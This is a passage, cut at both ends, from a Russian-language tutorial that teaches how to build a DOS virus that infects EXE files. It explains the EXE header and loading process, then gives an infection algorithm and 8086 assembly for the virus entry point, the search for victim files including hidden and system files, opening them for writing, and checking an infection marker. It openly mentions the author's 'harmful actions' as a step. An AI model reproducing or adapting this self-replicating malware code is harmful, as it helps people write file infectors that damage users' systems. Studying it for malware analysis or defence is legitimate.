кции при запуске EXE - программы выглядят так :
1. Запускаемой программе отводится вся свобод-
ная в данный момент оперативная память .Сегментная
часть начального адреса этой памяти обычно называ-
ется начальным сегментом программы.
2. По нулевому смещению в сегменте, определяемом
начальным сегментом программы,EXEC строит PSP про-
граммы.Заполняет PSP по-прежнему операционная сис-
тема, а его размер, как и для COM - программы, ра-
вен 256 байт .
3. Сразу вслед за PSP загружается сама EXE - прог-
рамма.Причем в память помещается исключительно за-
грузочный модуль, а заголовок и таблица настройки
в память не копируются.После этого выполняется так
называемая настройка адресов . Ее суть состоит в
следующем :
Некоторые команды (например, команды далекого пе-
рехода или вызова процедуры, расположенной в дру-
гом программном сегменте) требуют указания не то-
лько смещения, но и сегмента адреса .Компоновщик
строит EXE - модуль относительно некоторого " на-
чального " адреса,но ведь в MS DOS программы могут
загружаться в произвольную область памяти !Поэтому
при загрузке программы к каждому сегментному адре-
су прибавляется значение начального сегмента про-
граммы . Этот процесс и называют настройкой адре-
сов .У вас может возникнуть вопрос, откуда MS DOS
знает, где расположены требующие настройки элемен-
ты .Для получения такой информации система исполь-
зует таблицу настройки, которая находится в файле
по некоторому смещению от его начала .Само смеще-
ние хранится в заголовке в байтах 18h, 19h .
4. EXEC выполняет настройку регистров процессора.
Обозначим начальный сегмент программы буквами NS0.
Тогда устанавливаемые значения регистров будут вы-
глядеть так :
DS = ES = NS0
CS = NS0 + 10h + CS0
IP = IP0
SS = NS0 + 10h + SS0
SP = SP0
CS0, SS0, IP0 и SP0 берутся загрузчиком из заголо-
вка EXE - файла, а NS0 становится известным в про-
цессе загрузки .
5. Теперь загруженную EXE - программу можно испол-
нить . Для этого EXEC передает управление по адре-
су CS : IP .
Стоит заметить, что размер EXE - файла в MS DOS не
ограничивается размером одного сегмента и может
быть очень большим ( примерно 65535*512 = 33553920
байт !). Правда,для построения очень больших EXE -
программ используется оверлейная структура.При ис-
полнении программы, имеющей оверлейную структуру ,
она не загружается в память целиком.Вместо этого в
память помещается только ее резидентная часть, ко-
торая по мере необходимости подгружает те или иные
оверлейные фрагменты .
1.3 Как вирус может заразить EXE - файл
Как и при заражении COM - программ, при заражении
EXE - файлов вирусный код может записываться в ко-
нец,начало или в середину файла.Запись в конец фа-
йла,как и в предыдущем случае,реализуется наиболее
просто,и кроме того,предохраняет от многих трудно-
стей при отладке .Поэтому мы создадим вирус, рабо-
тающий имено по такому принципу .
Для того,чтобы при старте зараженной программы код
вируса получил управление, следует соответствующим
образом модифицировать заголовок EXE - файла . Для
этого исходные значения CS0 и IP0 заменяются на
точку входа в вирусный код, а значения SS0 и SP0
" переключаются " на собственный стек вируса.Кроме
того, поскольку при заражении изменяются длина за-
грузочного модуля и длина файла, необходимо скор-
ректировать поля заголовка по смещению 02h, 03h, а
также 04h, 05h .Вот и все .
Может показаться, что создать вирус,заражающий EXE
- файлы, намного сложнее, чем COM - вирус . Однако
это не так . Прочтите эту главу, и вы убедитесь в
этом !
1.4 Работа вируса в зараженной программе
Рассмотрим теперь действия вируса при получении им
управления .
Итак, вирус функционирует по такому алгоритму :
1. Ищет на диске подходящий EXE - файл .
2. Записывает свое тело в конец этого файла .
3. Корректирует заголовок заражаемой программы
следующим образом :
a.) Вместо исходных CS0 и IP0 заражаемой про-
граммы записываются значения, обеспечиваю-
щие передачу управления вирусному коду при
запуске программы .
б.) Исходные SS0 и SP0 заменяются на значения,
обеспечивающие переключение на собственный
стек вируса .
в.) Корректируется остаток от деления размера
загрузочного модуля на 512 .
г.) Поскольку при заражении длина файла увели-
чивается, корректируется размер файла в ст-
раницах ( одна страница равна 512 байт ) .
Естественно, перед корректировкой вирус обязан со-
хранить исходные параметры заголовка -ведь они по-
требуются при передаче управления вирусному коду .
После коррекции заголовок записывается на диск .
4. Выполняет вредные действия, предусмотренные ав-
тором .
5. Определяет значения CS, IP, SS и SP,необходимые
для правильной работы программы,из которой старто-
вал вирус .
6. Передает управление зараженной программе . Для
этого вирус использует команду безусловного даль-
него перехода.Адрес перехода задается вычисленными
CS и IP .После этого начинается обычное выполнение
программы .
1.5 Начало работы
Как и COM - вирус, EXE - вирус лучше разрабатывать
в формате COM .Это убережет нас от многих ненужных
трудностей .Поэтому напишем стандартное начало COM
программы :
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
Как вы помните, директива "assume cs:prg,ds:prg,es
:prg,ss:prg" назначает сегментные регистры сегмен-
ту с именем PRG, а директива "org 100h" резерви-
рует место для PSP вирусной программы .
1.6 Вирус получает управление
В отличие от COM - вируса,наша запускающая програ-
мма после запуска не будет заменять в памяти свои
первые три байта командой перехода на функцию DOS
завершения программы . По этой причине можно не
бояться, что в заражаемый файл попадет испорченный
вирусный код (см. п. 1.17 предыдущей части).Отсюда
следует, что директива " org 110h" нам не потре-
буется .Значит,можно сразу переходить " к делу " :
vir: mov ax,cs ;AX = CS ...
db 2dh ;SUB AX,00h
sub_ds dw 0 ;
mov ds,ax ;
mov ss,ax ;
mov ah,1ah ;Переключим DTA
lea dx,new_dta ;на соответству-
;ющий массив в
int 21h ;области данных
;вируса ...
При компиляции относительные адреса всех ячеек па-
мяти определяются относительно DS, который указы-
вает на начало PSP .Но в зараженной программе при
передаче управления на код вируса регистр CS будет
указывать на параграф, с которого начинается этот
код, а не на начало PSP, а регистр DS вообще ока-
жется настроенным на начальный сегмент программы !
Единственный способ получить доступ к данным виру-
са заключается в установке DS = CS.А с учетом раз-
мера PSP в 10h параграфов значение DS следует уме-
ньшить как раз на эту величину .При заражении того
или иного файла поле " sub_ds " для него будет за-
полняться значением 10h.Поскольку запускающая про-
грамма имеет COM - формат, для нее CS = DS = SS =
= ES, и все они указывают на начало PSP . Поэтому
значение DS корректировать не нужно, и в поле
" sub_ds " запускающей программы помещается ноль .
Дальше вирус переключает DTA на массив "new_dta",
расположенный в области данных вируса . Поскольку
начальный сегмент программы станет известным при
ее запуске,можно будет без особого труда восстано-
вить адрес исходной DTA.
1.7 Ищем подходящий файл
Теперь наш вирус может заняться поиском файла-жер-
твы .Как мы договорились, вирус будет заражать EXE
- файлы, значит, такой файл и нужно найти . Но по-
скольку фрагмент, который производит поиск файлов
с тем или иным расширением уже был создан, остает-
ся только воспользоваться им, внеся некоторые из-
менения :
mov ax,old_ip ;Скопируем исхо-
mov my_ip,ax ;дные параметры
mov ax,old_cs ;заголовка зара-
mov my_cs,ax ;женной програм-
mov ax,to_16h ;мы в ячейки па-
mov my_16h,ax ;мяти " my_XX ",
mov ax,old_ss ;так как ячейки
mov my_ss,ax ;" old_XX ", в
mov ax,old_sp ;которых хранят-
mov my_sp,ax ;ся параметры,
;будут испорчены
;при заражении
;нового файла
find_first:mov ah,4eh ;Поиск первого
mov cx,00100110b ;файла :
lea dx,maska ;archive, system
int 21h ;hidden ...
jnc r_3
jmp restore_dta
find_next: mov ah,3eh ;Закроем непод-
mov bx,descrypt ;ходящий файл
int 21h
jnc r_2
jmp restore_dta
r_2: mov ah,4fh ;Поиск следующе-
int 21h ;го ...
jnc r_3
jmp restore_dta
r_3: mov cx,12 ;Очистим об-
lea si,fn ;ласть " fn "
kill_name: mov byte ptr [si],0
inc si
loop kill_name
xor si,si ;И перепишем
copy_name: mov al,byte ptr new_dta[si + 01eh]
cmp al,0 ;туда имя най-
je open_file ;денного файла
mov byte ptr fn[si],al
inc si
jmp copy_name
open_file: mov ax,3d02h ;Откроем файл
lea dx,fn ;для чтения и
int 21h ;записи ...
jnc found_size
jmp r_2
found_size:mov descrypt,ax ;Определим раз-
mov cx,word ptr [new_dta + 01ch]
mov dx,word ptr [new_dta + 01ah]
sub dx,1 ;мер файла и вы-
sbb cx,0 ;чтем из него
;единицу ...
call setpointer ;Установим ука-
;затель на пос-
;ледний символ
read_last: mov cx,1 ;Прочитаем
lea dx,last ;последний
call read ;символ ...
jnc compar
jmp close_file
compar: cmp last,'7' ;Это "семерка" ?
jne mmm ;Нет
to_next: jmp find_next ;Да ! Файл уже
;заражен, и надо
;искать другой
Вы, вероятно, уже поняли,что каждая новая програм-
ма составляется нами из ранее разработанных бло-
ков, как из конструктора.Это сильно упрощает рабо-
ту и сокращает время на составление программ .Было
бы странно не воспользоваться готовыми фрагментами
и заново преодолевать все трудности !
Вместе с тем, использованный фрагмент пришлось не-
сколько модифицировать,чтобы он смог правильно ра-